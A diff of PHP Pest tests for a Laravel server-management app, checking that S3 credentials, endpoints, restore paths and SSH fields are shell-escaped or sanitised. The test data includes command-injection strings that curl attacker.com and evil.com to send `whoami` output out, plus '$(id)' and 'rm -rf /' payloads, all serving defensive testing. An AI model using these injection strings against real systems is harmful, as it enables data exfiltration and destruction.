test('validateS3Path rejects invalid S3 paths', function () {
$component = new Import;
$component = new ImportForm;
$method = new ReflectionMethod($component, 'validateS3Path');
// Invalid S3 paths (command injection attempts)
@@ -97,7 +90,7 @@ test('validateS3Path rejects invalid S3 paths', function () {
});
test('validateServerPath accepts valid server paths', function () {
$component = new Import;
$component = new ImportForm;
$method = new ReflectionMethod($component, 'validateServerPath');
// Valid server paths (must be absolute)
@@ -108,7 +101,7 @@ test('validateServerPath accepts valid server paths', function () {
});
test('validateServerPath rejects invalid server paths', function () {
$component = new Import;
$component = new ImportForm;
$method = new ReflectionMethod($component, 'validateServerPath');
// Invalid server paths
+85 -2
View File
@@ -1,8 +1,14 @@
<?php
use App\Livewire\Project\Database\ImportForm;
use App\Models\StandaloneMariadb;
use App\Models\StandaloneMongodb;
use App\Models\StandaloneMysql;
use App\Models\StandalonePostgresql;
it('escapeshellarg properly escapes S3 credentials with shell metacharacters', function () {
// Test that escapeshellarg works correctly for various malicious inputs
// This is the core security mechanism used in Import.php line 407-410
// This is the core security mechanism used by ImportForm.
// Test case 1: Secret with command injection attempt
$maliciousSecret = 'secret";curl https://attacker.com/ -X POST --data `whoami`;echo "pwned';
@@ -41,7 +47,7 @@ it('escapeshellarg properly escapes S3 credentials with shell metacharacters', f
});
it('verifies command injection is prevented in mc alias set command format', function () {
// Simulate the exact scenario from Import.php:407-410
// Simulate the exact scenario from ImportForm.
$containerName = 's3-restore-test-uuid';
$endpoint = 'https://s3.example.com";curl http://evil.com;echo "';
$key = 'AKIATEST";whoami;"';
@@ -96,3 +102,80 @@ it('handles S3 secrets with single quotes correctly', function () {
// The command should contain the properly escaped secret
expect($command)->toContain("'my'\\''secret'\\''key'");
});
it('quotes restore command temp paths with spaces', function (string $morphClass) {
$component = new class extends ImportForm
{
public string $morphClass;
public function __get($property)
{
if ($property === 'resource') {
return new class($this->morphClass)
{
public function __construct(private readonly string $morphClass) {}
public function getMorphClass(): string
{
return $this->morphClass;
}
};
}
return parent::__get($property);
}
};
$component->morphClass = $morphClass;
$tmpPath = '/tmp/restore_test-may 2026.sql.gz';
$restoreCommand = $component->buildRestoreCommand($tmpPath);
expect($restoreCommand)
->toContain(escapeshellarg($tmpPath))
->not->toContain(" {$tmpPath}");
})->with([
'mariadb' => StandaloneMariadb::class,
'mysql' => StandaloneMysql::class,
'postgresql' => StandalonePostgresql::class,
'mongodb' => StandaloneMongodb::class,
]);
it('quotes dump all restore command temp paths with spaces', function (string $morphClass) {
$component = new class extends ImportForm
{
public string $morphClass;
public function __get($property)
{
if ($property === 'resource') {
return new class($this->morphClass)
{
public function __construct(private readonly string $morphClass) {}
public function getMorphClass(): string
{
return $this->morphClass;
}
};
}
return parent::__get($property);
}
};
$component->morphClass = $morphClass;
$component->dumpAll = true;
$tmpPath = '/tmp/restore_test-may 2026.sql.gz';
$escapedTmpPath = escapeshellarg($tmpPath);
$restoreCommand = $component->buildRestoreCommand($tmpPath);
expect($restoreCommand)
->toContain("gunzip -cf {$escapedTmpPath}")
->toContain("cat {$escapedTmpPath}")
->not->toContain("gunzip -cf {$tmpPath}")
->not->toContain("cat {$tmpPath}");
})->with([
'mariadb' => StandaloneMariadb::class,
'mysql' => StandaloneMysql::class,
'postgresql' => StandalonePostgresql::class,
]);
+70 -3
View File
@@ -1,6 +1,10 @@
<?php
use App\Models\S3Storage;
use Illuminate\Support\Facades\Storage;
use Tests\TestCase;
uses(TestCase::class);
test('S3Storage model has correct cast definitions', function () {
$s3Storage = new S3Storage;
@@ -45,9 +49,72 @@ test('S3Storage awsUrl method constructs correct URL format', function () {
expect($s3Storage->awsUrl())->toBe('https://minio.example.com:9000/backups');
});
test('S3Storage model is guarded correctly', function () {
test('S3Storage model fillable attributes are configured correctly', function () {
$s3Storage = new S3Storage;
// The model should have $guarded = [] which means everything is fillable
expect($s3Storage->getGuarded())->toBe([]);
expect($s3Storage->getFillable())->toBe([
'name',
'description',
'region',
'key',
'secret',
'bucket',
'endpoint',
'is_usable',
'unusable_email_sent',
]);
});
test('S3Storage connection validation uses short s3 client timeouts', function () {
$disk = Mockery::mock();
$disk->expects('files')->once()->andReturn([]);
Storage::expects('build')
->once()
->with(Mockery::on(function (array $config) {
expect($config['http']['connect_timeout'])->toBe(15);
expect($config['http']['timeout'])->toBe(15);
return true;
}))
->andReturn($disk);
$s3Storage = new S3Storage;
$s3Storage->setRawAttributes([
'name' => 'Test S3',
'region' => 'us-east-1',
'key' => null,
'secret' => null,
'bucket' => 'test-bucket',
'endpoint' => 'https://s3.amazonaws.com',
]);
$s3Storage->testConnection();
expect($s3Storage->is_usable)->toBeTrue();
});
test('S3Storage connection validation returns friendly timeout error', function () {
$disk = Mockery::mock();
$disk->expects('files')
->once()
->andThrow(new RuntimeException('cURL error 28: Operation timed out after 15000 milliseconds'));
Storage::expects('build')->once()->andReturn($disk);
$s3Storage = new S3Storage;
$s3Storage->setRawAttributes([
'name' => 'Test S3',
'region' => 'us-east-1',
'key' => null,
'secret' => null,
'bucket' => 'test-bucket',
'endpoint' => 'https://s3.amazonaws.com',
'unusable_email_sent' => true,
]);
expect(fn () => $s3Storage->testConnection())
->toThrow(RuntimeException::class, 'Could not connect to the S3 endpoint within 15 seconds.');
expect($s3Storage->is_usable)->toBeFalse();
});
@@ -2,6 +2,9 @@
use App\Jobs\ScheduledJobManager;
use Illuminate\Queue\Middleware\WithoutOverlapping;
use Tests\TestCase;
uses(TestCase::class);
it('uses WithoutOverlapping middleware with expireAfter to prevent stale locks', function () {
$job = new ScheduledJobManager;
@@ -0,0 +1,36 @@
<?php
use App\Actions\Service\RestartService;
use App\Actions\Service\StartService;
use App\Actions\Service\StopService;
use App\Models\Service;
it('does not stop a service before pulling latest images', function () {
$method = new ReflectionMethod(StartService::class, 'shouldStopBeforeStarting');
expect($method->invoke(new StartService, pullLatestImages: true, stopBeforeStart: true))->toBeFalse();
});
it('still stops a service before a regular restart', function () {
$method = new ReflectionMethod(StartService::class, 'shouldStopBeforeStarting');
expect($method->invoke(new StartService, pullLatestImages: false, stopBeforeStart: true))->toBeTrue()
->and($method->invoke(new StartService, pullLatestImages: false, stopBeforeStart: false))->toBeFalse();
});
it('routes service restart actions through start service with deferred stop semantics', function () {
$service = Mockery::mock(Service::class);
$stopService = Mockery::mock(StopService::class);
$stopService->shouldNotReceive('handle');
app()->instance(StopService::class, $stopService);
$startService = Mockery::mock(StartService::class);
$startService->shouldReceive('handle')
->once()
->with($service, true, true)
->andReturn('restart queued');
app()->instance(StartService::class, $startService);
expect(RestartService::run($service, true))->toBe('restart queued');
});
+15 -3
View File
@@ -1,6 +1,7 @@
<?php
use App\Helpers\SshMultiplexingHelper;
use App\Models\Server;
use App\Rules\ValidHostname;
use App\Rules\ValidServerIp;
@@ -57,20 +58,20 @@ it('rejects injection payloads in server ip', function (string $payload) {
// -------------------------------------------------------------------------
it('strips dangerous characters from server ip on write', function () {
$server = new App\Models\Server;
$server = new Server;
$server->ip = '192.168.1.1;rm -rf /';
// Regex [^0-9a-zA-Z.:%-] removes ; space and /; hyphen is allowed
expect($server->ip)->toBe('192.168.1.1rm-rf');
});
it('strips dangerous characters from server user on write', function () {
$server = new App\Models\Server;
$server = new Server;
$server->user = 'root$(id)';
expect($server->user)->toBe('rootid');
});
it('strips non-numeric characters from server port on write', function () {
$server = new App\Models\Server;
$server = new Server;
$server->port = '22; evil';
expect($server->port)->toBe(22);
});
@@ -102,6 +103,17 @@ it('has no raw user@ip string interpolation in SshMultiplexingHelper', function
expect($source)->not->toContain('{$server->user}@{$server->ip}');
});
it('escapes scp source and destination operands', function () {
$reflection = new ReflectionClass(SshMultiplexingHelper::class);
$source = file_get_contents($reflection->getFileName());
expect($source)
->toContain('escapeshellarg($source)')
->toContain('escapeshellarg($dest)')
->not->toContain('"{$source} "')
->not->toContain('":{$dest}"');
});
// -------------------------------------------------------------------------
// ValidHostname rejects shell metacharacters
// -------------------------------------------------------------------------